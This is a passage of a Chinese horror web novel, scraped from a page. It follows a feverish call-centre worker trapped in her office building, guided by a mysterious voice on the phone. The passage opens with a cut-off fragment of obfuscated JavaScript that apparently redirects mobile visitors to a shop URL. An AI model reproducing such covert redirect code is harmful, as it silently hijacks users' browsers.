l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187162|150699||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在他们之间蔓延开来,过了片刻,才有一声止不住的抽泣响起。
“我们是不是会死在这里?”
葛馥兰不知道该怎么回答这个问题,实际上她自己也很想哭,但就像之前面对每一次哭麦的电话一样,她只是个电话客服,哭也没有用,哭解决不了任何问题。
“……往下继续走再说吧,”她吸了吸鼻子,觉得自己发烧好像更厉害了,“也不能停在这里。”
“……继续走……”
陌生的、微弱的、还带着点沙沙的从个葛馥兰掌心里传来,她只感觉自己身上似乎一下冒出了汗来,抓着手机的掌心也开始变得滑腻,但——
但这才是现在听到的最能让人高兴起来的声音了。
“是你吗?”
葛馥兰声音里有了点如释重负的哽咽,但抓着手机她不敢大声说话,只能眨巴眨巴眼睛把湿润的泪意夹回去,小声但又清晰地问:“你知道发生了什么吗?”
“就是我这三天里和你说的那些,全球恐怖降临……现在也不重要了,以后有机会再说这些吧。”
对面的声音听起来比之前更加疲惫,电话中断前让人担心的惨叫这会儿在听到她声音后也让葛馥兰记挂了起来,只是话也没来得及说出口,对面就已经问道:“你们现在是什么情况?”
葛馥兰三言两语就用最简短的话说完了最复杂的内容——她年度最佳客服也不是白得的,那些战栗的虚浮随着每一个字的吐出得到了沉甸甸的底气回落,等她说完,才意识到自己的衣服已经被汗浸湿了。
“你没事吧?”
离她最近的同事最先察觉到她的异样。
葛馥兰身上温度高的都有些烫手了,光线太微弱、也是因为她们不敢打太强的光怕引起某些……的注意,所以也没法从葛馥兰的脸色上分辨她当下的状态,但毫无疑问,她这情况绝对算不上好。
可难道要去办公室那些地方滞留吗……
“她发烧了吗?”
手机另一头的人敏锐到让人有些毛骨悚然,但既然选择相信对方,葛馥兰还是下意识点了点头,又赶紧补充道:“有点……不过不影响——”
“先找个最近的办公间进去。”
电话那头的人打断她的话:“人和自己的账号融合时候会产生不同的副作用,最经典的症状就是发烧,很快就会失去意识,清醒过来的时间有长有短,要是在办公室以外的地方失去意识就太危险了,祂在早上八点之前是不会停止‘打扫卫生’的。”
那还有什么好说的。
原本从门缝地下冒出鲜血的安全门现在也没这么可怕了。
葛馥兰握住门把手给自己打了打气,又忍不住想和电话另一头的人多说两句话缓解自己开始不适的胃部。
“去一楼离开公司的时间有限制吗?”她缓缓地、尽量轻柔地压下门把手,只期盼着很少被人打开的安全门锁匙不会在开启的时候发出太大声响:“还是一定得熬到早上八点才能走?”
“那是祂下班的时间,不是你们能离开的时间。”
但那个女声却这样说:“等到了那个时候,你们就再也离不开公司了。而且十二点已经过了,凭你们自己是没办法去一楼的。等我神性CD好了我就能帮你们打破循环,但到时候每个楼道口具体会通往哪一层我也没办法确定,所以你们必须得一直跑。”
“跑到离开你们的恐惧为止。”